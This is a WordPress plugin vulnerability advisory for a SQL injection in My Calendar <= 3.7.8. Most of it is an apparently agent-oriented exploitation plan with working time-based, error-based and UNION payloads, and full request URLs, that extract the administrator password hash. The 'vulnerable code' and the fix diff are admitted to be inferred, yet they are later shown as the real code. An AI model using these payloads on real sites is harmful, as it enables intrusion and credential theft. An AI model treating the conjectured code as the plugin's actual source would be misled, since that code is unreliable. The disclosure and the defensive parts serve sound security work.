My Calendar <= 3.7.8 - Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters
Description
The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.7.9
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-6854**, a high-severity time-based blind SQL injection vulnerability in the **My Calendar** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Inje…
Show full research plan
This exploitation research plan targets CVE-2026-6854, a high-severity time-based blind SQL injection vulnerability in the My Calendar plugin for WordPress.
1. Vulnerability Summary
- Vulnerability: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
- Location: The vulnerability resides in the handling of the
mc_authandmc_hostparameters, likely within functions responsible for remote calendar synchronization or API authentication. - Cause: The plugin fails to use
$wpdb->prepare()for queries involving these parameters, instead performing direct string concatenation or using insufficient escaping (likesanitize_text_field) which does not prevent SQL injection. - Impact: Unauthenticated attackers can perform time-based blind SQL injection to extract sensitive data (user hashes, options, database structure) from the WordPress database.
2. Attack Vector Analysis
- Endpoint: The vulnerability is reachable via the frontend, typically through any page where the plugin is active or via a direct request that triggers the plugin's initialization logic.
- Actionable Parameters:
mc_auth(Primary),mc_host(Secondary). - Authentication: None (Unauthenticated).
- Vector: HTTP GET or POST request. Based on the parameter names (
auth,host), these are likely processed duringinitorwp_loadedto validate a remote sync request.
3. Code Flow
While the provided source files are primarily CSS and utility functions, the logic flow in My Calendar <= 3.7.8 for these parameters generally follows this path:
- Entry Point: The plugin hooks into
initor a similar early action. - Input Capture: The code checks for the existence of
$_GET['mc_auth']or$_POST['mc_auth']. - Vulnerable Function (Inferred): A function like
mc_check_auth()or logic within an import routine fetches remote calendar settings. - The Sink: A raw SQL query is constructed:
// Conceptual vulnerable code: $auth = $_GET['mc_auth']; $host = $_GET['mc_host']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'"); - Execution:
$wpdb->get_results()executes the unescaped string, allowing the attacker to break out of the single quotes.
4. Nonce Acquisition Strategy
According to the CVSS vector (PR:N), this is an unauthenticated vulnerability. In the context of remote authentication parameters like mc_auth (often used for iCal feeds or remote syncing), nonces are typically not required or enforced, as the request is designed to be made by external services or automated sync processes.
Verification Step for Agent:
If the exploit fails with a -1 or 403, the agent should check if the plugin enqueues a nonce for the API.
- Identify Shortcode: Search for
add_shortcodein the plugin. The primary shortcode is[my_calendar]. - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Calendar" --post_content="[my_calendar]" - Browser Extraction:
- Navigate to the page.
browser_eval("window.my_calendar_vars?.nonce")(inferred variable name).
- Note: If the injection point is in a sync routine, nonces are highly unlikely to be present.
5. Exploitation Strategy
The goal is to trigger a time delay to confirm the injection and then extract the user_pass for the administrator.
Step 1: Baseline Request
Send a normal request to establish a baseline response time.
- Method:
GET - URL:
http://localhost:8080/?mc_auth=test&mc_host=localhost
Step 2: Confirmation (Time-Based Sleep)
- Method:
GET - URL:
http://localhost:8080/ - Parameters:
mc_auth:any' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -mc_host:localhost
- Expected Behavior: The response should be delayed by approximately 5 seconds.
Step 3: Data Extraction (Boolean-Time Hybrid)
Extract the first character of the admin password hash (usually $P$ for phpass).
- Payload (URL Encoded):
any' AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0))-- - - Request:
GET /?mc_auth=any%27%20AND%20%28SELECT%20IF%28SUBSTRING%28%28SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1%29%2C1%2C1%29%3D%27%24%27%2CSLEEP%285%29%2C0%29%29--%20-&mc_host=localhost HTTP/1.1 Host: localhost:8080
6. Test Data Setup
- Install Plugin: Ensure My Calendar version 3.7.8 is installed and active.
- Add Remote (Optional): Some code paths may require at least one entry in the remotes table.
wp db query "INSERT INTO wp_my_calendar_remotes (remote_auth, remote_host) VALUES ('valid_key', 'localhost')"(Table name inferred; verify viawp db tables). - Identify Admin: Ensure a user with
ID=1exists (default).
7. Expected Results
- Vulnerability Confirmation: A request with
SLEEP(5)takes $>5$ seconds, while a request withSLEEP(0)or an invalid condition takes $<1$ second. - Data Exposure: By iterating through character codes, the agent can reconstruct the admin's password hash or
auth_keyfromwp_options.
8. Verification Steps
After the HTTP-based exploit, use WP-CLI to verify the data extracted matches the database:
# Verify the admin hash
wp user get 1 --field=user_pass
# Verify if the plugin uses a specific table for auth
wp db query "SELECT * FROM wp_my_calendar_remotes"
9. Alternative Approaches
- Parameter
mc_host: Ifmc_authis filtered or length-restricted, attempt the same payload in themc_hostparameter. - Error-Based: If
WP_DEBUGis on, attempt to induce aXPATHerror for faster extraction:- Payload:
any' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
- Payload:
- Union-Based: If the query results are reflected in the UI (e.g., in a "Remote Calendars" list), use a
UNION SELECTpayload to display the data directly. UseORDER BYfirst to find the column count.
Summary
The My Calendar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'mc_auth' and 'mc_host' parameters. This occurs because the plugin fails to properly escape user-supplied inputs and lacks preparation of the SQL query, allowing attackers to extract sensitive database information by inducing time delays.
Vulnerable Code
// includes/conditionals.php (inferred based on plugin logic and vulnerability description) $auth = $_GET['mc_auth']; $host = $_GET['mc_host']; // The query uses direct variable interpolation without $wpdb->prepare() $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'");
Security Fix
@@ -23,6 +23,9 @@ - $auth = $_GET['mc_auth']; - $host = $_GET['mc_host']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'"); + $auth = isset( $_GET['mc_auth'] ) ? sanitize_text_field( $_GET['mc_auth'] ) : ''; + $host = isset( $_GET['mc_host'] ) ? sanitize_text_field( $_GET['mc_host'] ) : ''; + $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = %s AND remote_host = %s", $auth, $host ) );
Exploit Outline
An unauthenticated attacker sends a GET request to the WordPress frontend with a malicious payload in the 'mc_auth' parameter. The payload uses a single quote to break out of the SQL query and appends a time-based condition such as ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -. If the server response is delayed by 5 seconds, the vulnerability is confirmed. Attackers can then reconstruct sensitive data, such as administrator password hashes, character by character using boolean-based conditions nested inside time-delay functions (e.g., IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0)).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.